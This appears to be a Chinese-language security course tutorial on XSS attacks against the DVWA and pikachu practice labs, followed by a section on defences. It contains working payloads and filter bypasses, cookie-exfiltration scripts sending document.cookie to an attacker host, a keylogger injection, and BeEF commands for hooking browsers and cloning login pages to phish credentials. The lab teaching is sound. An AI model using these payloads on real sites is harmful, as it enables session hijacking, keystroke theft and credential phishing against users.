XSS跨站脚本攻击漏洞
目录
一、基本概念
二、XSS分类
1、反射型XSS
2、存储型XSS
3、DOM型XSS
三、手工测试
1、反射型XSS漏洞
(1)安全等级low
(2)DOM的XSS
(3)安全等级medium
(4)安全等级high
2、存储型XSS漏洞
(1)安全等级low
(2)安全等级medium
(3)安全等级high
四、XSS盲打
五、XSS键盘记录
1、初始化自带的XSS后台
(1)BeEF的安装和配置
(2)BeEF克隆其他网站
七、XSS防御绕过
1、过滤不严格
2、HTML实体编码
八、XSS防御
1、输入检查
2、HTML实体编码
3、HTTPonly
4、内容安全策略
作业
一、基本概念
-
跨站脚本攻击主要针对的是用户层面的攻击。恶意攻击者往WEB页面内插入恶意脚本,当用户浏览该页面时,嵌入web里面的恶意代码就会被执行,从而达到恶意攻击用户的目的。有两个前提条件:一个是是否能够插入恶意脚本或者JS代码;一个是这个恶意代码是否能够被执行。
-
在WEB页面上,有一种常见的功能是:将用户输入的内容输出到页面上。但是如果输入的内容是一段经过构造的JS代码,提交之后再次访问这个页面时,用户就会获取该JS代码在浏览器端执行的结果。
二、XSS分类
1、反射型XSS
是一种非持久的攻击。只有攻击者诱导用户去点击URL访问网站才会造成攻击。
2、存储型XSS
是一种持久攻击。攻击者只需要将恶意代码保存在一个网页中,只要用户来访问这个页面,就会被攻击,谁来攻击谁。
3、DOM型XSS
是一种特殊的反射型XSS。DOM是文档对象模型,里面包含关于HTML的整体文档框架。我们可以通过JS操作一个一个的DOM对象,构造的恶意代码或者脚本可以处理这些DOM对象按照攻击者预设的意思或者代码逻辑进行执行,这样就造成了DOM型的XSS攻击。
三、手工测试
练习漏洞的靶场是DVWA,这里我使用的端口映射是8080.
docker pull sagikazarmark/dvwa
docker run -d -p 8080:80 sagikazarmark/dvwa
1、反射型XSS漏洞
(1)安全等级low
<script>alert(1)</script> 会造成一个弹窗。这个JS代码的语义是<script></script>是html标签,在中间的alert(1)是JS代码,会以JS代码逻辑去执行。当浏览器接收到这串代码之后,浏览器的渲染引擎认识左右两边的html标签,该标签的语义是中间写的内容都是JS代码,然后将JS代码交给解析引擎去处理,最终造成一个弹窗的结果。 <script>alert(XSS)</script> 会[object HTMLFormElement]报错,这是因为XSS是一个字符串,需要使用单引号括起来。 <script>alert('XSS')</script> 这样就可以弹出xss
通过标签和事件的对应关系也可以造成弹窗 <img src=## οnerrοr=alert(document.cookie)> 这是img标签,其中img_src后面应该写的一张图片的路径,当路径发生错误的之后则执行后面的事件,触发弹窗。document.cookie可以返回当前网页的cookie值。 事件与标签之间是一一对应的,这里a标签对应的事件是onmouseover,需要鼠标移动到a标签的位置才能触发。 <a οnmοuseοver=alert(document.cookie)>红包</a>
(2)DOM的XSS
-
上面所述的都是只有受攻击的人自己可以看到当前网页的cookie,攻击者无法看到,这对于攻击者来说是毫无意义的。且这样只能证明存在XSS漏洞。所以我们要将cookie发送到远程服务器中。
<script>var img=document.createElement("img");img_src=alert(document.cookie);</script> 造成弹窗 <script>var img=document.createElement("img");img_src="http://xxxx/a?"+escape(document.cookie);</script> var是用来声明一个变量,加号是用来进行拼接的,escape是一种编码方式。将收到的cookie进行escape编码然后拼接到前面的网站中,那么这个网站是攻击者的服务器,只有攻击者可以看到,而其他人看不到。攻击者可以在自己的WEB日志中进行查看,根据访问行为去获取cookie编码之后的值,然后解码得到cookie值;这里cookie编码是为了躲避安全设备的检测。
(3)安全等级medium
-
当安全等级为中等的时候,我们通过查看dvwa网页的SQL语句会发现网站采用了$name = str_replace( '<script>', '', $_GET[ 'name' ] ); 将<script>标签过滤成为了空格。
因此输入 <script>alert(1)</script> 会返回hello alert(1),并没有造成任何弹窗,这说明<script>标签被过滤掉了
-
方法:采用绕过的手法
-
大小写混淆绕过:<sCripT>alert(1)</script>
-
双写绕过:<scr<script>ipt>alert(1)</script>
-
使用其他标签和事件对应引发弹窗:<img src=x Onerror=alert('XSS')>
-
(4)安全等级high
-
当安全等级为高的时候,通过查看源代码会发现网站使用了正则匹配精准匹配到</script>该标签,这个时候我们没有办法使用绕过手法了,只能采用使用其他标签和事件对应来造成攻击。
-
使用<img src=x Onerror=alert('XSS')>就可以造成弹窗,这里不再进行结果展示,和上面的操作是一样的。
2、存储型XSS漏洞
在进行存储型XSS漏洞的测试的时候需要完成一次攻击后就要对数据库进行更新,因为如果不更新上面一个攻击就还存在,无法确定是新的攻击生效还是旧的攻击生效。
(1)安全等级low
安全等级为low说明网站对于标签没有任何的过滤,所以很容易就造成攻击。
<script>alert(1)</script>
(2)安全等级medium
-
有两个输入框,通过查看源代码发现在Message中使用了addslashes函数对于SQL语句进行了特殊字符转义,无法绕过,那么我们只能使用上面输入框name来进行攻击了
-
name:这个输入框采用了过滤的方式,同上面反射型的中等的情况,还有一个就是这个输入框中有字符限制,我们有两种方法进行处理
-
一种是通过抓包,然后修改抓到的数据包进行请求包的修改,然后送过去造成攻击
-
一种是在当前网页按F12,然后直接修改字符的长度
-
-
那么在name中就可以使用大小写绕过,双写绕过和其他标签来进行攻击了。
(3)安全等级high
-
使用的是正则匹配精准匹配,所以攻击的方式只有通过换其他标签来进行。和上面的反射型的是同样的道理。
四、XSS盲打
靶场环境是pikachu docker pull area39/pikachu docker run -d -p 8082:80 area39/pikachu 盲打的含义是无法在客户端看到任何反馈的信息,比如,你填写完一个调查问卷,所有的回复都是感谢您的填写,没有第二种回复,这样就没有办法根据反馈来判断输入信息的正确与否了。所以在前端我们是无法判断是否存在XSS,这种情况下,我们直接往后台插入XSS代码,然后等待,当管理员或者用户访问到目标页面的时候就会遭到XSS攻击。
XSS盲打是一种攻击场景,属于存储型XSS类型。
pikachu--cross-site-script--xss盲打--输入一句话木马然后点击提示一下,然后访问后台网址,进行登录,就会发现有弹窗,就说明攻击成功。
五、XSS键盘记录
主要的功能是监听用户的输入。主要流程是XSS攻击帮助插入脚本文件,然后脚本文件的功能是实现监听效果。在pikachu靶场中的/var/www/html/pkxss/rkeypress/目录下面有一个脚本文件rk.js
原理: docker exec -it pikachu的运行ID /bin/bash cd /var/www/html/pkxss/rkeypress/rk.js vim rk.js 将脚本中的地址改为自己的靶场地址:10.0.0.161:8082 退出保存 rk.js这个脚本的功能是记录用户的输入,将记录的用户输入的内容发送给rkserver.php来进行保存,然后将其存在数据库中
具体的操作: 打开pikachu,进入XSS存储型在里面输入payload <script src="http://10.0.0.161:8082/pkxss/rkeypress/rk.js"></script> 点击提交,然后再该页面随便输入一些字符。 之后在pikachu中点击管理工具--XSS后台,然后根据提示进行登录,然后点击键盘记录。就会发现刚在在该页面进行输入的字符都被记录了下来。
六、XSS平台利用--获取cookie
1、初始化自带的XSS后台
退出XSS后台然后重新登录进入。
2、前台XSS盲打攻击获取cookie
在后端有一个目录/var/www/html/pkxss/xcookie/下的cookie.php文件是用来收集cookie值的。 (1)在pikachu靶场中,进入XSS盲打界面,然后输入可以获取cookie的payload: <script>document.write('<img src="http://10.0.0.161:8082/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script> 这个payload的意思是使用document.write向页面写一个img标签,src访问cookie.php并提供cookie值。(因为这个脚本文件就是用来收集网页的cookie的) 然后进入后台网站进行问卷调查的查看(点击提示一下,有个网站,然后进入进去就可以看到填写的内容了),然后退出登录。 (2)直接访问xss后台--登录--cookie值获取--就会发现相关的内容。这样就算是拿到一个cookie值了。
拿到一个cookie有什么用呢? 当我们要登录一个需要用户密码的网页的时候,如果我们的网址中携带cookie值我们就不需要输入用户名和密码了,就可以直接进行访问。
安装一个火狐插件cookie-editor(作者是cgagnier),其插件的作用主要是用来修改cookie。安装好插件之后就可以在插件中进行添加相关的cookie值: 如:ant[name];ant[pwd]等都要添加进去,添加进去之后访问后台网址是/xssblind/admin_login.php这里需要把admin_login.php改为admin.php。因为此时访问的URL是懈怠了cookie值的,所以要访问的是登录后的页面。
利用cookie的前提是该用户未关闭这个网页,因为关掉网页后cookie的值会发生变化。
有什么办法可以预防攻击者拿到cookie值之后进行登录? 网页登录开发人员可以设置禁止多人登录同一个账号 网站可以记录登录IP,若IP相同则安全,若IP不相同则拦截。拦截可以是强制都下线,或者给用户一个提示。
3、BeEF-XSS获取cookie
BeEF是web攻击平台,是一个工具,继承了很多payload,可以通过xss漏洞配合JS脚本和Metasploit(MSF攻击工具,是主机层面的漏洞攻击)进行渗透。
(1)BeEF的安装和配置
-
首先要安装一个kali镜像
-
然后再kali操作系统中安装beef
sudo apt install beef-xss
-
在配置文件中进行修改
在/usr/share/beef-xss/config.yaml中 将密码进行修改未123 将监听地址改为:在自己的电脑上 桌面键+R-- cmd--ipconfig ( ipv4就是自己主机的地址:192.168.3.153 这里我的电脑打开cmd之后直接输入ipconfig会发生报错显示不是命令,然后可以手动导航 cd C:\Windows\System32 ipconfig )
-
启动beef
cd /usr/share/beef-xss ./beef 其中有三个重要的参数 Hook URL: UI URL: Restiful API key: 登录 usname:beef password:123
(2)BeEF克隆其他网站
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"要克隆网站的url", "mount":"克隆在哪个目录"}' -X POST http://BEEF的URL的地址/api/seng/clone_page?token=beef的密钥 总共有四个部分需要填写
使用beef克隆一个登录页面从而获取用户名和密码 克隆页面本质只是克隆了一个页面。 这里克隆一个dvwa的登录页面,用户在克隆网站中进行登录,则在beef中可以看到用户输入的用户名和密码,达到一个钓鱼的效果。
(3)使用beef获取cookie值
payload是 <script src="HOOK URL"></script> 在XSS盲打页面提交该语句,访问留言后台 在beef中,点击上线网站--commands--点击命令getcookie--获取cookie (这里由于谷歌浏览器有安全机制,所以该实验在谷歌浏览器中不能成功) 这些命令有不同的颜色: 绿色:用户可能察觉到异常 橙色:用户可能会感到异常 灰色:不确定是否能够执行 红色:无法执行 不同浏览器中命令可行性不同
七、XSS防御绕过
1、过滤不严格
pikachu中--XSS过滤--会对script标签进行过滤--这里我们可以采用大小写绕过,其他标签替换的方式来进行绕过
2、HTML实体编码
& & " " < < > > HTML编码的特点是&符号开头分号结尾。 特殊的符号经过编码之后会发生变化,从而达到预防的效果。 XSS漏洞最好的防御方法就是做实体编码 eg: <img src="" οnerrοr=alert(1)> ==> <img src="" οnerrοr=alert(1)> 经过实体编码之后浏览器的渲染引擎不会对其进行识别,因此可以预防XSS漏洞。 但是在PHP中是通过htmlspecialchars()这个函数来实现HTML编码的,该函数在默认配置下,仅仅会编码双引号,故不安全。在对一个网站进行开发的时候,可以提示开发人员要对该函数进行完整的配置,使其能够对任意特殊字符都进行实体编码,达到安全的效果。
八、XSS防御
XSS攻击主要有两个重要的要素:
-
攻击者是否能够提交恶意代码--也就是输入
-
浏览器是否可以执行恶意代码--也就是输出
所以根本的解决方法是从输入到输出都需要进行过滤,转义。
1、输入检查
针对用户的输入进行过滤操作,但是一般情况下过滤是有限的,很容易通过大小写转换,双写,其他标签的方式绕过。
2、HTML实体编码
还可以使用Javascript编码手段。
3、HTTPonly
XSS的本质是获取cookie,而HTTPonly不是阻止XSS攻击,而是能够阻止XSS攻击之后的cookie劫持攻击。
4、内容安全策略
该防御的本质是建立白名单,只有在白名单内部的代码才能够进行执行。在网页中,这样的策略通过HTTP头信息或者meta元素进行定义。即使发生了XSS攻击,也不会加载白名单以外的来源不明的第三方脚本。也就是可以插入脚本,但是没在白名单的脚本是不可以进行执行,从而阻断了XSS攻击。
作业
上节课的剩下的一个题目:完成DVWA靶场存储型XSS的漏洞练习。
网络安全C10-2024.10.19
作业:(相关解答和实操部分均已经在上文中展示。)
1、XSS
(1)使用pikachu平台练习XSS键盘记录、前台XSS盲打攻击获取cookie,利用cookie实现登录 (2)使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码
相关文章:
XSS跨站脚本攻击漏洞
目录 一、基本概念 二、XSS分类 1、反射型XSS 2、存储型XSS 3、DOM型XSS 三、手工测试 1、反射型XSS漏洞 (1)安全等级low (2)DOM的XSS (3)安全等级medium (4)安全等级hig…...
TensorFlow 实现 Mixture Density Network (MDN) 的完整说明
本文档详细解释了一段使用 TensorFlow 构建和训练混合密度网络(Mixture Density Network, MDN)的代码,涵盖数据生成、模型构建、自定义损失函数与预测可视化等各个环节。 1. 导入库与设置超参数 import numpy as np import tensorflow as t…...
servlet-服务器内部转发和客户端重定向
服务器内部转发以及客户端重定向 服务器内部转发以及客户端重定向1)服务器内部转发:request.getRequestDispatcher("...").forward(request,response);--- 一次请求响应的过程,对于客户端而言,内部转发多少次ÿ…...
手动实现LinkedList
前言 大家好,我是Maybe。最近在学习数据结构中的链表,自己手动实现了一个LinkedList。我想与大家分享一下。 思维导图 代码部分 package Constant;public class constant {public static final String INDEX_IS_WRONG"输入的下标不合法"; }p…...
实现AWS Step Function安全地请求企业内部API返回数据
需要编写一个Step Function在AWS云上运行,它需要访问企业内部的API获取JSON格式的数据,企业有网关和防火墙,API有公司的okta身份认证,通过公司的域账号来授权访问,现在需要创建一个专用的域账号,让Step Fun…...
掌握 MySQL:从命令行操作到数据类型与字段管理
掌握 MySQL:从命令行操作到数据类型与字段管理 MySQL 作为全球最流行的开源关系型数据库管理系统,广泛应用于 Web 开发、数据分析和企业级应用中。无论是初学者还是资深开发者,掌握 MySQL 的基本命令行操作、了解其数据库类型、数据类型、字…...
基于大语言模型的自动化单元测试生成系统及测试套件评估方法
A System for Automated Unit Test Generation Using Large Language Models and Assessment of Generated Test Suites 翻译于上述论文 基于大语言模型的自动化单元测试生成系统及测试套件评估方法 摘要 单元测试是软件测试生命周期中最基础的测试层级,对确保软…...
使用vue2技术写了一个纯前端的静态网站商城-鲜花销售商城
先给大家看一下网站的整体效果截图: 这个前端静态网站项目主要实现了以下功能: 商城首页、商品分类页、登录注册页、个人中心页、我的收藏页、我的订单页、商品详情页等功能。 最近不是在学习前端开发嘛,肯定要做一些项目来练习以下自己学…...
PyTorch深度学习框架60天进阶学习计划 - 第46天:自动化模型设计(一)
PyTorch深度学习框架60天进阶学习计划 - 第46天:自动化模型设计(一) 第一部分:使用ENAS算法生成图像分类网络 大家好!欢迎来到我们PyTorch深度学习框架60天进阶学习计划的第46天。今天我们要深入探讨一个话题——使用…...
【上海大学计算机系统结构实验报告】多机环境下MPI并行编程
实验目的 学习编制多进程并行程序实现如下功能: 创建多进程,输出进程号和进程数。运行多进程并行例子程序。编程实现大规模矩阵的并行计算。 实验过程及结果分析 实验环境 操作系统:Ubuntu 20.04开发工具:GCC 9.3.0、OpenMPI…...
实用电脑工具,轻松实现定时操作
软件介绍 如果你的电脑有时候需要像个听话的小助手一样,按照你的指令在特定时间做些事情,比如到了点就关机、开机,或者自动打开某个软件,那你可得了解下这个小帮手啦! 小巧功能却不少 程序定时器是一款超实用的电脑…...
jQuery — 动画和事件
介绍 jQuery动画与事件是提升网页交互的核心工具。动画方面,jQuery通过简洁API实现平滑过渡效果,提供预设方法如slideUp(),支持.animate()自定义CSS属性动画,并内置队列系统实现动画链式执行。开发者可精准控制动画速度、回调时机…...
Kubernetes相关的名词解释kube-proxy插件(3)
什么是kube-proxy? kube-proxy 是一个网络代理组件,运行在每个节点(Node)上,是 Kubernetes 服务(Service)功能的核心实现之一。它的主要职责是通过维护网络规则,实现集群内服务&…...
第3章 垃圾收集器与内存分配策略《深入理解Java虚拟机:JVM高级特性与最佳实践(第3版)》
第3章 垃圾收集器与内存分配策略 3.2 对象已死 Java世界中的所有对象实例,垃圾收集器进行回收前就是确定对象哪些是活着的,哪些已经死去。 3.2.1 引用计数算法 常见的回答是:给对象中添加一个引用计数器,有地方引用࿰…...
MCP是什么?为什么突然那么火?
什么是MCP? MCP全称为Model Context Protocol(模型上下文协议),是由Anthropic公司在2024年11月推出的一个开源协议。Anthropic是一家以其开发的Claude大语言模型而闻名的公司。MCP旨在提供一个通用的开放标准,以简化大型语言模型…...
与终端同居日记:Linux指令の进阶撩拨手册
前情提要: 当你和终端的关系从「早安打卡」进阶到「深夜代码同居」,那些曾经高冷的指令开始展露致命の反差萌—— man 是那个永远在线的钢铁直男说明书,只会说:"想懂我?自己看文档!"(…...
STM32单片机入门学习——第42节: [12-2] BKP备份寄存器RTC实时时钟
写这个文章是用来学习的,记录一下我的学习过程。希望我能一直坚持下去,我只是一个小白,只是想好好学习,我知道这会很难,但我还是想去做! 本文写于:2025.04.19 STM32开发板学习——第42节: [12-2] BKP备份寄存器&RTC实时时钟 前言开发板说…...
AI 驱动抗生素发现:从靶点到化合物测试
AI 驱动抗生素发现:从靶点到化合物测试 目录 基于 AI 驱动的研发流程发现抗生素,整合靶点选择和深度学习分子生成,显著提升了候选药物发现效率。结合数据平衡技术,机器学习和 AutoML 能有效提升不平衡数据集分类性能。RibbonFold 是一种新的 AI 模型,可以准确预测淀粉样蛋…...
群晖威联通飞牛等nas如何把宿主机硬盘挂接到可道云docker容器中
可道云系统是用户常用的一款面向个人用户的轻量级私有云存储工具,以高效管理和安全存储为核心,打造便捷的数字化办公体验。但是用户希望把原有其他磁盘中文件挂接到这个新系统中有很大的难度,主要是对linux文件系统理解有很大的误区,认为目录结构是固定的…...
用 R 语言打造交互式叙事地图:讲述黄河源区生态变化的故事
目录 🌟 项目背景:黄河源头的生态变迁 🧰 技术栈介绍 🗺️ 最终效果预览 💻 项目构建步骤 1️⃣ 数据准备 2️⃣ 构建 Leaflet 地图 3️⃣ 使用 scrollama 实现滚动触发事件 4️⃣ 使用 R Markdown / Quarto 打包发布 🎬 效果展示截图 📦 完整代码仓库 …...
opencv(双线性插值原理)
双线性插值是一种图像缩放、旋转或平移时进行像素值估计的插值方法。当需要对图像进行变换时,特别是尺寸变化时,原始图像的某些像素坐标可能不再是新图像中的整数位置,这时就需要使用插值算法来确定这些非整数坐标的像素值。 双线性插值的工…...
Flutter 弹窗队列管理:实现一个线程安全的通用弹窗队列系统
在开发复杂的 Flutter 应用时,弹窗的管理往往是一个令人头疼的问题。尤其是在多个弹窗需要按顺序显示,或者弹窗的显示需要满足特定条件时,手动管理弹窗的显示和隐藏不仅繁琐,还容易出错。为了解决这个问题,我们可以实现…...
Linux压缩与解压命令完全指南:tar.gz、zip等格式详解
Linux压缩与解压命令完全指南:tar.gz、zip等格式详解 在Linux系统中,文件压缩和解压是日常操作中不可或缺的一部分。本文将全面介绍Linux下常用的压缩和解压命令,包括tar.gz、tar、zip等格式的区别和使用方法,帮助你高效管理文件…...
doris/clickhouse常用sql
一、doris常用SQL 1、doris统计数据库的总大小(单位:MB) SELECT table_schema AS database_name,ROUND(SUM(data_length) / 1024 / 1024, 2) AS database_size_MB FROM information_schema.tables WHERE table_schema NOT IN (information…...
实现AWS Lambda函数安全地请求企业内部API返回数据
需要编写一个Lambda函数在AWS云上运行,它需要访问企业内部的API获取JSON格式的数据,企业有网关和防火墙,API有公司的okta身份认证,通过公司的域账号来授权访问,现在需要创建一个专用的域账号,让Lambda函数访…...
【Easylive】Interact与Web服务调用实例及网关安全拦截机制解析
【Easylive】项目常见问题解答(自用&持续更新中…) 汇总版 easylive-cloud-interacteasylive-cloud-web 1. 不同服务(web和interact)之间的调用方式 调用流程 • 角色分工: • easylive-cloud-web:作…...
【HDFS】EC重构过程中的校验功能:DecodingValidator
一、动机 DecodingValidator是在HDFS-15759中引入的一个用于校验EC数据重构正确性的组件。 先说下引入DecodingValidator的动机,据很多已知的ISSUE(如HDFS-14768, HDFS-15186, HDFS-15240,这些目前都已经fix了)反馈, EC在重构的时候可能会有各种各样的问题,导致数据错误…...
Chromium 134 编译指南 macOS篇:编译优化技巧(六)
1. 引言 在Chromium 134的开发过程中,优化编译速度是提升开发效率的关键因素。本文将重点介绍如何使用ccache工具来加速C/C代码的编译过程,特别是在频繁切换分支和修改代码时。通过合理配置和使用这些工具,您将能够显著减少编译时间…...
FPGA——基于DE2_115实现DDS信号发生器
FPGA——基于DE2_115实现DDS信号发生器 文章目录 FPGA——基于DE2_115实现DDS信号发生器一、实验要求二、实现过程(1)新建工程 二、波形存储器ROM(1)方波模块(2)正弦波形存储器(3)锁…...
PHP中的ReflectionClass讲解【详细版】
快餐: ReflectionClass精简版 在PHP中,ReflectionClass是一个功能强大的反射类,它就像是一个类的“X光透视镜”,能让我们在程序运行时深入了解类的内部结构和各种细节。 一、反射类的基本概念和重要性 反射是指在程序运行期间获…...
嵌入式面试题解析:常见基础知识点详解
在嵌入式领域的面试中,基础知识点的考察尤为重要。下面对一些常见面试题进行详细解析,帮助新手一步步理解。 一、原码、反码、补码及补码的好处 题目 什么叫原码、反码、补码?计算机学科引入补码有什么好处? 在计算机科学中&a…...
GPU渲染阶段介绍+Shader基础结构实现
GPU是什么 (CPU)Center Processing Unit:逻辑编程 (GPU)Graphics Processing Unit:图形处理(矩阵运算,数据公式运算,光栅化) 渲染管线 渲染管线也称为渲染流水线&#x…...
08-DevOps-向Harbor上传自定义镜像
harbor创建完成,往harbor镜像仓库中上传自定义的镜像,包括新建项目、docker配置镜像地址、镜像重命名、登录harbor、推送镜像这几个步骤,具体操作如下: harbor中新建项目 访问级别公开,代表任何人都可以拉取仓库中的镜…...
C++学习之路,从0到精通的征途:vector类的模拟实现
目录 一.vector的介绍 二.vector的接口实现 1.成员变量 2.迭代器 (1)begin (2)end 3.容量操作 (1)size,capacity (2)reserve (3)resize…...
嵌入式软件--stm32 DAY 2
大家学习嵌入式的时候,多多学习用KEIL写代码,虽然作为编译器,大家常用vscode等常用工具关联编码,但目前keil仍然是主流工具之一,学习掌握十分必要。 1.再次创建项目 1.1编译器自动生成文件 1.2初始文件 这样下次创建新…...
多模态大语言模型arxiv论文略读(二十九)
Temporal Insight Enhancement: Mitigating Temporal Hallucination in Multimodal Large Language Models ➡️ 论文标题:Temporal Insight Enhancement: Mitigating Temporal Hallucination in Multimodal Large Language Models ➡️ 论文作者:Li Su…...
【人工智能学习-01-01】20250419《数字图像处理》复习材料的word合并PDF,添加页码
前情提要 20250419今天是上师大继续教育人工智能专升本第一学期的第一次线下课。 三位老师把视频课的内容提炼重点再面授。(我先看了一遍视频,但是算法和图像都看不懂,后来就直接挂分刷满时间,不看了) 今天是面对面授…...
B端APP设计:打破传统限制,为企业开启便捷新通道
B端APP设计:打破传统限制,为企业开启便捷新通道 在数字化转型浪潮中,企业级移动应用正突破传统管理系统的功能边界,演变为连接产业链各环节的核心枢纽。本文从技术架构革新、交互模式进化、安全防护升级三个维度,系统…...
【多线程5】面试常考锁知识点
文章目录 悲观/乐观锁挂起等待锁/自旋锁偏向锁轻量级/重量级锁锁升级CASCAS引发的ABA问题解决方案 原子类 公平/不公平锁可重入锁ReentrantLock读写锁 Callable接口 这里的“悲观”“乐观”“挂起等待”“自旋”“轻量级”“重量级”“公平”“非公平”“可重入”仅代表某个锁的…...
Linux第一个系统程序——进度条
1.回车与换行 回车(CR, \r): 作用:将光标移动到当前行的行首(最左侧),但不换到下一行。 历史来源:源自打字机的“回车”操作——打字机的滑架(Carriage)需…...
C 语 言 --- 指 针 3
C 语 言 --- 指 针 3 函 数 指 针函 数 指 针 数 组代 码 解 释回 调 函 数 - - - qsort模 拟 实 现 qsort 函 数 总结 💻作 者 简 介:曾 与 你 一 样 迷 茫,现 以 经 验 助 你 入 门 C 语 言 💡个 人 主 页:笑口常开x…...
蓝桥杯之递归
1.数字三角形 题目描述 上图给出了一个数字三角形。从三角形的顶部到底部有很多条不同的路径。对于每条路径,把路径上面的数加起来可以得到一个和,你的任务就是找到最大的和(路径上的每一步只可沿左斜线向下或右斜线向下走)。 输…...
学习笔记十八——Rust 封装
🧱 Rust 封装终极指南:结构体、模块、Trait、目录结构与模块引用 🧭 目录导航 什么是封装?Rust 的封装理念Rust 的封装工具总览模块(mod)和访问控制(pub)详解结构体和枚举ÿ…...
【面试向】点积与注意力机制,逐步编码理解自注意力机制
点积(dot product)两个向量点积的数学公式点积(dot product)与 Attention 注意力机制(Attention)注意力机制的核心思想注意力机制中的缩放点积自注意力机制中,谁注意谁? 逐步编码理解…...
基础数学知识-线性代数
1. 矩阵相乘 c i j = a i k ∗ b k j c_{ij} = a_{ik} * b_{kj} cij=aik∗bkj 1. 范数 1. 向量的范数 任意一组向量设为 x ⃗ = ( x 1 , x 2 , . . . , x N ) \vec{x}=(x_1,x_2,...,x_N) x =(x1,x2,...,xN) 如下: 向量的1范数: 向量的各个元素的绝对值之和∥ …...
【KWDB 创作者计划】_上位机知识篇---Docker容器
文章目录 前言1. Docker 容器是什么?隔离性轻量级可移植性可复用性 2. Docker 核心概念镜像容器仓库Dockerfile 3. Docker 基本使用(1) 安装 Docker(2) 容器生命周期管理(3) 镜像管理(4) 进入容器内部(5) 数据持久化(挂载卷)(6) 网络管理 4. …...
指针函数和函数指针
指针函数本质是一个函数,只是函数的返回值是指针类型 函数指针本质是一个指针,只是这个指针指向的是一个函数 指针函数 函数有很多类型的返回值,例如 short funcA(参数列表) // 表示该函数返回值是一个short类型 void funcA(参数列表) // 表…...
案例驱动的 IT 团队管理:创新与突破之路:第六章 组织进化:从案例沉淀到管理体系-6.1 案例库建设方法论-6.1.2案例分级与标签体系
👉 点击关注不迷路 👉 点击关注不迷路 👉 点击关注不迷路 文章大纲 案例分级与标签体系构建方法论:IT团队知识管理的结构化实践1. 案例库建设的战略价值与核心挑战1.1 案例管理的战略定位1.2 分级标签体系的核心价值 2. 案例分级体…...
sqlilabs-Less之HTTP头部参数的注入——基础篇
Less-18 user-agent报错注入 这一关的代码漏洞点出现在了insert语句,因为这里没有对user-agent和ip_address进行过滤,,并且输出了mysql的错误信息 补充知识点 PHP里用来获取客户端IP的变量 $_SERVER[HTTP_CLIENT_IP] #这个很少使用…...
java多线程相关内容
java线程创建的方式 一共有四种方式 继承 Thread 类:本质上是实现了 Runnable 接口的一个实例,代表一个线程的实例 启动线程的唯一方 法就是通过 **Thread 类的 start()**实例方法。start()方法是一个 native 方法,它将启动一个新线 程&…...